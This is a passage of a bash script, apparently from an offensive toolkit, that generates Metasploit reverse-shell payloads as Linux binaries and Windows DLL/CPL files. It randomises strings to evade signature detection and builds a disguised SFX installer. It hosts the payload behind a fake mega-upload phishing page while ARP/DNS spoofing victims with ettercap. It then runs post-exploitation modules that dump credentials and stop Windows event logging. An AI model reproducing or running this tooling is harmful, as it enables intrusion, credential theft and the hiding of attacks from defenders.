echo " else if (pid == 0) {" >> $IPATH/output/exec.c
echo " /* We are running in child process (as backgrond job - orphan). */" >> $IPATH/output/exec.c
echo " setsid();" >> $IPATH/output/exec.c
echo " void (*ret)() = (void(*)())kungfu;" >> $IPATH/output/exec.c
echo " ret();" >> $IPATH/output/exec.c
echo " } return 0;" >> $IPATH/output/exec.c
echo "}" >> $IPATH/output/exec.c
cd $IPATH/templates
# COMPILING SHELLCODE USING GCC
echo "${BlueF}[☠]${white} Compiling using gcc..."${Reset};
gcc -fno-stack-protector -z execstack $IPATH/output/exec.c -o $IPATH/output/$N4m
## CHOSE HOW TO DELIVER YOUR PAYLOAD
serv=$(zenity --list --title "☠ SHELLCODE GENERATOR ☠" --text "Payload stored:\n$IPATH/output/$N4m\n\nExecute: sudo ./$N4m\n\nchose how to deliver: $N4m" --radiolist --column "Pick" --column "Option" TRUE "multi-handler (default)" FALSE "apache2 (malicious url)" --width 350 --height 305) > /dev/null 2>&1
if [ "$serv" = "multi-handler (default)" ]; then
# START METASPLOIT LISTENNER (multi-handler with the rigth payload)
echo ${BlueF}[☠]${white} Start a multi-handler...${Reset};
echo ${YellowF}[☠] Press [ctrl+c] or [exit] to 'exit' meterpreter shell${Reset};
echo ${BlueF}[☯]${white} Please dont test samples on virus total...${Reset};
if [ "$MsFlF" = "ON" ]; then
xterm -T " PAYLOAD MULTI-HANDLER " -geometry 110x23 -e "sudo msfconsole -x 'spool $IPATH/output/report.log; use exploit/multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $paylo; exploit'"
cd $IPATH/output
# delete utf-8/non-ancii caracters from output
tr -cd '\11\12\15\40-\176' < report.log > final.log
sed -i "s/\[0m//g" final.log
sed -i "s/\[1m\[34m//g" final.log
sed -i "s/\[4m//g" final.log
sed -i "s/\[K//g" final.log
sed -i "s/\[1m\[31m//g" final.log
sed -i "s/\[1m\[32m//g" final.log
sed -i "s/\[1m\[33m//g" final.log
mv final.log $N4m-$lhost.log > /dev/null 2>&1
rm report.log > /dev/null 2>&1
cd $IPATH/
else
xterm -T " PAYLOAD MULTI-HANDLER " -geometry 110x23 -e "sudo msfconsole -x 'use exploit/multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $paylo; exploit'"
fi
sleep 2
else
P0=$(zenity --list --title "☠ SHELLCODE GENERATOR ☠" --text "\npost-exploitation module to run" --radiolist --column "Pick" --column "Option" TRUE "sysinfo.rc" FALSE "linux_hostrecon.rc" FALSE "dump_credentials_linux.rc" FALSE "exploit_suggester.rc" --width 305 --height 260) > /dev/null 2>&1
if [ "$P0" = "dump_credentials_linux.rc" ]; then
if [ -e "$pHanTom/post/linux/gather/wifi_dump_linux.rb" ]; then
echo ${GreenF}[✔]${white} wifi_dump_linux.rb -> found${Reset};
sleep 2
else
echo ${RedF}[x]${white} wifi_dump_linux.rb -> not found${Reset};
sleep 1
echo ${BlueF}[*]${white} copy post-module to msfdb ..${Reset};
cp $IPATH/aux/msf/wifi_dump_linux.rb $pHanTom/post/linux/gather/wifi_dump_linux.rb > /dev/null 2>&1
echo ${BlueF}[☠]${white} Reloading msfdb database ..${Reset};
sleep 2
xterm -T "RELOADING MSF DATABASE" -geometry 110x23 -e "msfdb reinit" > /dev/null 2>&1
xterm -T "RELOADING MSF DATABASE" -geometry 110x23 -e "msfconsole -q -x 'db_status; reload_all; exit -y'" > /dev/null 2>&1
fi
elif [ "$P0" = "linux_hostrecon.rc" ]; then
if [ -e "$pHanTom/post/linux/gather/linux_hostrecon.rb" ]; then
echo ${GreenF}[✔]${white} linux_hostrecon.rb -> found${Reset};
sleep 2
else
echo ${RedF}[x]${white} linux_hostrecon.rb -> not found${Reset};
sleep 1
echo ${BlueF}[*]${white} copy post-module to msfdb ..${Reset};
cp $IPATH/aux/msf/linux_hostrecon.rb $pHanTom/post/linux/gather/linux_hostrecon.rb > /dev/null 2>&1
echo ${BlueF}[☠]${white} Reloading msfdb database ..${Reset};
sleep 2
xterm -T "RELOADING MSF DATABASE" -geometry 110x23 -e "msfdb reinit" > /dev/null 2>&1
xterm -T "RELOADING MSF DATABASE" -geometry 110x23 -e "msfconsole -q -x 'db_status; reload_all; exit -y'" > /dev/null 2>&1
fi
else
echo "nothing to do here" > /dev/null 2>&1
fi
# edit files nedded
cd $IPATH/templates/phishing
cp $InJEc12 mega[bak].html
sed "s|NaM3|$N4m|g" mega.html > copy.html
mv copy.html $ApAcHe/index.html > /dev/null 2>&1
# copy from output
cd $IPATH/output
cp $N4m $ApAcHe/$N4m > /dev/null 2>&1
echo "${BlueF}[☠]${white} loading -> Apache2Server!"${Reset};
echo "---"
echo "- SEND THE URL GENERATED TO TARGET HOST"
if [ "$D0M4IN" = "YES" ]; then
# copy files nedded by mitm+dns_spoof module
sed "s|NaM3|$N4m|" $IPATH/templates/phishing/mega.html > $ApAcHe/index.html
cp $IPATH/output/$N4m $ApAcHe/$N4m
echo "- ATTACK VECTOR: http://mega-upload.com"
echo "- POST EXPLOIT : $P0"
echo "---"
# START METASPLOIT LISTENNER (multi-handler with the rigth payload)
echo ${BlueF}[☠]${white} Start a multi-handler...${Reset};
echo ${BlueF}[☠]${white} Press [ctrl+c] or [exit] to 'exit' meterpreter shell${Reset};
echo ${BlueF}[☯]${white} Please dont test samples on virus total...${Reset};
if [ "$MsFlF" = "ON" ]; then
xterm -T " PAYLOAD MULTI-HANDLER " -geometry 110x23 -e "sudo msfconsole -x 'spool $IPATH/output/report.log; use exploit/multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $paylo; set AutoRunScript multi_console_command -r $IPATH/aux/$P0; exploit'" & xterm -T " DNS_SPOOF [redirecting traffic] " -geometry 110x10 -e "sudo ettercap -T -q -i $InT3R -P dns_spoof -M ARP // //"
cd $IPATH/output
# delete utf-8/non-ancii caracters from output
tr -cd '\11\12\15\40-\176' < report.log > final.log
sed -i "s/\[0m//g" final.log
sed -i "s/\[1m\[34m//g" final.log
sed -i "s/\[4m//g" final.log
sed -i "s/\[K//g" final.log
sed -i "s/\[1m\[31m//g" final.log
sed -i "s/\[1m\[32m//g" final.log
sed -i "s/\[1m\[33m//g" final.log
mv final.log $N4m-$lhost.log > /dev/null 2>&1
rm report.log > /dev/null 2>&1
cd $IPATH/
else
xterm -T " PAYLOAD MULTI-HANDLER " -geometry 110x23 -e "sudo msfconsole -x 'use exploit/multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $paylo; set AutoRunScript multi_console_command -r $IPATH/aux/$P0; exploit'" & xterm -T " DNS_SPOOF [redirecting traffic] " -geometry 110x10 -e "sudo ettercap -T -q -i $InT3R -P dns_spoof -M ARP // //"
fi
else
echo "- ATTACK VECTOR: http://$lhost"
echo "- POST EXPLOIT : $P0"
echo "---"
# START METASPLOIT LISTENNER (multi-handler with the rigth payload)
echo ${BlueF}[☠]${white} Start a multi-handler...${Reset};
echo ${BlueF}[☠]${white} Press [ctrl+c] or [exit] to 'exit' meterpreter shell${Reset};
echo ${BlueF}[☯]${white} Please dont test samples on virus total...${Reset};
if [ "$MsFlF" = "ON" ]; then
xterm -T " PAYLOAD MULTI-HANDLER " -geometry 110x23 -e "sudo msfconsole -x 'spool $IPATH/output/report.log; use exploit/multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $paylo; set AutoRunScript multi_console_command -r $IPATH/aux/$P0; exploit'"
cd $IPATH/output
# delete utf-8/non-ancii caracters from output
tr -cd '\11\12\15\40-\176' < report.log > final.log
sed -i "s/\[0m//g" final.log
sed -i "s/\[1m\[34m//g" final.log
sed -i "s/\[4m//g" final.log
sed -i "s/\[K//g" final.log
sed -i "s/\[1m\[31m//g" final.log
sed -i "s/\[1m\[32m//g" final.log
sed -i "s/\[1m\[33m//g" final.log
mv final.log $N4m-$lhost.log > /dev/null 2>&1
rm report.log > /dev/null 2>&1
cd $IPATH/
else
xterm -T " PAYLOAD MULTI-HANDLER " -geometry 110x23 -e "sudo msfconsole -x 'use exploit/multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $paylo; set AutoRunScript multi_console_command -r $IPATH/aux/$P0; exploit'"
fi
fi
fi
## CLEANING EVERYTHING UP
echo ${BlueF}[☠]${white} Cleanning temp generated files...${Reset};
mv $IPATH/templates/exec[bak].c $InJEc
rm $IPATH/output/chars.raw > /dev/null 2>&1
rm $ApAcHe/$N4m > /dev/null 2>&1
rm $ApAcHe/index.html > /dev/null 2>&1
rm $IPATH/templates/phishing/copy.html > /dev/null 2>&1
mv $IPATH/templates/phishing/mega[bak].html $InJEc12 > /dev/null 2>&1
sleep 2
clear
cd $IPATH/
sh_menu
else
echo ${RedF}[x]${white} Abort module execution ..${Reset};
sleep 2
sh_menu
clear
fi
}
# -----------------------------------------------------------------
# build shellcode in DLL format (windows-platforms)
# mingw32 obfustated using astr0baby method and build installer.bat
# to use in winrar/sfx 'make payload executable by pressing on it'
# -----------------------------------------------------------------
sh_shellcode2 () {
# get user input to build shellcode
echo "[☠] Enter shellcode settings!"
lhost=$(zenity --title="☠ Enter LHOST ☠" --text "example: $IP" --entry --width 300) > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
lport=$(zenity --title="☠ Enter LPORT ☠" --text "example: 666" --entry --width 300) > /dev/null 2>&1
# input payload choise
paylo=$(zenity --list --title "☠ SHELLCODE GENERATOR ☠" --text "\nAvailable Payloads:" --radiolist --column "Pick" --column "Option" TRUE "windows/shell_bind_tcp" FALSE "windows/shell/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp_dns" FALSE "windows/meterpreter/reverse_http" FALSE "windows/meterpreter/reverse_winhttps" FALSE "windows/x64/meterpreter/reverse_tcp" FALSE "windows/x64/meterpreter/reverse_https" --width 350 --height 350) > /dev/null 2>&1
# input agent final name
N4m=$(zenity --entry --title "☠ PAYLOAD NAME ☠" --text "Enter payload output name\nexample: astr0baby" --width 300) > /dev/null 2>&1
# chose agent final extension (.dll or .cpl)
Ext=$(zenity --list --title "☠ SHELLCODE GENERATOR ☠" --text "\nAvailable agent extensions:\nThere is a niftty trick involving dll loading behavior under windows.\nIf we rename our agent.dll to agent.cpl we now have an executable\nmeterpreter payload that we cant doubleclick and launch it.." --radiolist --column "Pick" --column "Option" TRUE "$N4m.dll" FALSE "$N4m.cpl" --width 300 --height 150) > /dev/null 2>&1
## setting default values in case user have skip this ..
if [ -z "$lhost" ]; then lhost="$IP";fi
if [ -z "$lport" ]; then lport="443";fi
if [ -z "$N4m" ]; then N4m="astr0baby";fi
if [ "$Ext" = "$N4m.dll" ]; then
Ext="dll"
else
Ext="cpl"
fi
echo "[☠] Loading uuid(@nullbyte) obfuscation module .."
sleep 1
echo "[☠] Building shellcode -> C format ..."
sleep 2
if [ "$paylo" = "windows/meterpreter/reverse_winhttps" ] || [ "$paylo" = "windows/meterpreter/reverse_https" ] || [ "$paylo" = "windows/x64/meterpreter/reverse_https" ]; then
echo "[☠] meterpreter over SSL sellected ..";sleep 1
fi
echo "" > $IPATH/output/chars.raw
# display final settings to user
cat << !
venom settings
╔─────────────────────
| LPORT : $lport
| LHOST : $lhost
| FORMAT : C -> WINDOWS
|_PAYLOAD : $paylo
!
# use metasploit to build shellcode
if [ "$paylo" = "windows/meterpreter/reverse_winhttps" ] || [ "$paylo" = "windows/meterpreter/reverse_https" ] || [ "$paylo" = "windows/x64/meterpreter/reverse_https" ]; then
xterm -T " SHELLCODE GENERATOR " -geometry 110x23 -e "msfvenom -p $paylo LHOST=$lhost LPORT=$lport HandlerSSLCert=$IPATH/obfuscate/www.gmail.com.pem StagerVerifySSLCert=true -f c > $IPATH/output/chars.raw"
else
xterm -T " SHELLCODE GENERATOR " -geometry 110x23 -e "msfvenom -p $paylo LHOST=$lhost LPORT=$lport -f c > $IPATH/output/chars.raw"
fi
echo ""
# display generated shelcode
cat $IPATH/output/chars.raw
echo "" && echo ""
sleep 2
# check if all dependencies needed are installed
# check if template exists
if [ -e $InJEc5 ]; then
echo "[☠] exec_dll.c -> found!"
sleep 2
else
echo "[☠] exec_dll.c -> not found!"
exit
fi
# check if chars.raw as generated
if [ -e $Ch4Rs ]; then
echo "[☠] chars.raw -> found!"
sleep 2
else
echo "[☠] chars.raw -> not found!"
exit
fi
# check if mingw32 exists
c0m=`which $ComP`> /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[☠] mingw32 compiler -> found!"
sleep 2
else
echo "[☠] mingw32 compiler -> not found!"
echo "[☠] Download compiler -> apt-get install mingw32"
echo ""
sudo apt-get install mingw32
echo ""
fi
# EDITING/BACKUP FILES NEEDED
echo "[☠] editing/backup files..."
cp $InJEc5 $IPATH/templates/exec_dll[bak].c
cp $InJEc7 $IPATH/templates/hta_attack/index[bak].html
cd $IPATH/templates
# use SED to replace IpADr3 and P0rT
echo "[☠] Injecting shellcode -> $N4m.dll!"
sleep 2
sed -i "s|IpADr3|$lhost|g" exec_dll.c
sed -i "s|P0rT|$lport|g" exec_dll.c
# obfuscation ??
UUID_1=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 150 | head -n 1)
sed -i "s|UUID-RANDOM|$UUID_1|g" exec_dll.c
echo "[✔] Using random UUID keys (evade signature detection)"
sleep 2
echo ""
echo " Generated key:$UUID_1"
echo ""
sleep 1
if [ "$Ext" = "dll" ]; then
# build winrar-SFX installer.bat script
echo "[☠] Building winrar/SFX -> installer.bat..."
sleep 2
echo ":: SFX auxiliary | Author: r00t-3xp10it" > $IPATH/output/installer.bat
echo ":: this script will run payload using rundll32" >> $IPATH/output/installer.bat
echo ":: ---" >> $IPATH/output/installer.bat
echo "@echo off" >> $IPATH/output/installer.bat
echo "echo [*] Please wait, preparing software ..." >> $IPATH/output/installer.bat
echo "rundll32.exe $N4m.dll,main" >> $IPATH/output/installer.bat
echo "exit" >> $IPATH/output/installer.bat
sleep 2
fi
# COMPILING SHELLCODE USING mingw32
echo "[☠] Compiling/obfuscating using mingw32..."
sleep 2
# special thanks to astr0baby for mingw32 -lws2_32 -shared (dll) flag :D
$ComP exec_dll.c -o $N4m.dll -lws2_32 -shared
strip $N4m.dll
if [ "$Ext" = "dll" ]; then
mv $N4m.dll $IPATH/output/$N4m.dll
else
mv $N4m.dll $IPATH/output/$N4m.cpl
fi
# CHOSE HOW TO DELIVER YOUR PAYLOAD
if [ "$Ext" = "dll" ]; then
serv=$(zenity --list --title "☠ SHELLCODE GENERATOR ☠" --text "Payload stored:\n$IPATH/output/$N4m.dll\n$IPATH/output/installer.bat\n\nExecute on cmd: rundll32.exe $N4m.dll,main\n\nchose how to deliver: $N4m.dll" --radiolist --column "Pick" --column "Option" TRUE "multi-handler (default)" FALSE "apache2 (malicious url)" --width 305 --height 260) > /dev/null 2>&1
else
serv=$(zenity --list --title "☠ SHELLCODE GENERATOR ☠" --text "Payload stored:\n$IPATH/output/$N4m.cpl\n\nchose how to deliver: $N4m.cpl" --radiolist --column "Pick" --column "Option" TRUE "multi-handler (default)" FALSE "apache2 (malicious url)" --width 305 --height 260) > /dev/null 2>&1
fi
if [ "$serv" = "multi-handler (default)" ]; then
# START METASPLOIT LISTENNER (multi-handler with the rigth payload)
echo "[☠] Start a multi-handler..."
echo "[☠] Press [ctrl+c] or [exit] to 'exit' meterpreter shell"
echo "[☯] Please dont test samples on virus total..."
if [ "$MsFlF" = "ON" ]; then
if [ "$paylo" = "windows/meterpreter/reverse_winhttps" ] || [ "$paylo" = "windows/meterpreter/reverse_https" ] || [ "$paylo" = "windows/x64/meterpreter/reverse_https" ]; then
xterm -T " PAYLOAD MULTI-HANDLER " -geometry 110x23 -e "sudo msfconsole -x 'spool $IPATH/output/report.log; use exploit/multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $paylo; set HandlerSSLCert $IPATH/obfuscate/www.gmail.com.pem; set StagerVerifySSLCert true; exploit'"
else
xterm -T " PAYLOAD MULTI-HANDLER " -geometry 110x23 -e "sudo msfconsole -x 'spool $IPATH/output/report.log; use exploit/multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $paylo; exploit'"
fi
cd $IPATH/output
# delete utf-8/non-ancii caracters from output
tr -cd '\11\12\15\40-\176' < report.log > final.log
sed -i "s/\[0m//g" final.log
sed -i "s/\[1m\[34m//g" final.log
sed -i "s/\[4m//g" final.log
sed -i "s/\[K//g" final.log
sed -i "s/\[1m\[31m//g" final.log
sed -i "s/\[1m\[32m//g" final.log
sed -i "s/\[1m\[33m//g" final.log
mv final.log $N4m-$lhost.log > /dev/null 2>&1
rm report.log > /dev/null 2>&1
cd $IPATH/
else
if [ "$paylo" = "windows/meterpreter/reverse_winhttps" ] || [ "$paylo" = "windows/meterpreter/reverse_https" ] || [ "$paylo" = "windows/x64/meterpreter/reverse_https" ]; then
xterm -T " PAYLOAD MULTI-HANDLER " -geometry 110x23 -e "sudo msfconsole -x 'use exploit/multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $paylo; set HandlerSSLCert $IPATH/obfuscate/www.gmail.com.pem; set StagerVerifySSLCert true; exploit'"
else
xterm -T " PAYLOAD MULTI-HANDLER " -geometry 110x23 -e "sudo msfconsole -x 'use exploit/multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $paylo; exploit'"
fi
fi
sleep 2
else
# user settings
if [ "$Ext" = "dll" ]; then
N4m2=$(zenity --title="☠ SFX Infection ☠" --text "WARNING BEFOR CLOSING THIS BOX:\n\nTo use SFX attack vector: $N4m.dll needs to be\ncompressed together with installer.bat into one SFX\n\n1º compress the two files into one SFX\n2º store SFX into shell/output folder\n3º write the name of the SFX file\n4º press OK to continue...\n\nExample:output.exe" --entry --width 360) > /dev/null 2>&1
else
N4m2="$N4m.$Ext"
fi
P0=$(zenity --list --title "☠ SHELLCODE GENERATOR ☠" --text "\npost-exploitation module to run" --radiolist --column "Pick" --column "Option" TRUE "sysinfo.rc" FALSE "enum_system.rc" FALSE "dump_credentials.rc" FALSE "fast_migrate.rc" FALSE "stop_logfiles_creation.rc" FALSE "exploit_suggester.rc" --width 305 --height 310) > /dev/null 2>&1
if [ "$P0" = "stop_logfiles_creation.rc" ]; then
#
# check if dependencies exist ..
#
if [ -e "$pHanTom/post/windows/manage/Invoke-Phant0m.rb" ]; then
echo "[☠] Invoke-Phant0m.rb installed .."
sleep 2
else
echo "[x] Invoke-Phant0m.rb not found .."
sleep 2
echo "[☠] copy Invoke-Phant0m.rb to msfdb .."
sleep 2
cp $IPATH/aux/msf/Invoke-Phant0m.rb $pHanTom/post/windows/manage/Invoke-Phant0m.rb > /dev/null 2>&1
echo "[☠] Reloading msfdb database .."
sleep 2
xterm -T "RELOADING MSF DATABASE" -geometry 110x23 -e "msfdb reinit" > /dev/null 2>&1
xterm -T "RELOADING MSF DATABASE" -geometry 110x23 -e "msfconsole -q -x 'db_status; reload_all; exit -y'" > /dev/null 2>&1
fi
#
# check if Invoke-Phantom.ps1 exists ..
#
if [ -e "$IPATH/aux/Invoke-Phant0m.ps1" ]; then
echo "[☠] Invoke-Phant0m.ps1 found .."
sleep 2
cp $IPATH/aux/Invoke-Phant0m.ps1 /tmp/Invoke-Phant0m.ps1 > /dev/null 2>&1
else
echo "[x] Invoke-Phant0m.ps1 not found .."
sleep 2
echo "[☠] Please place module in $IPATH/aux folder .."
sleep 2
exit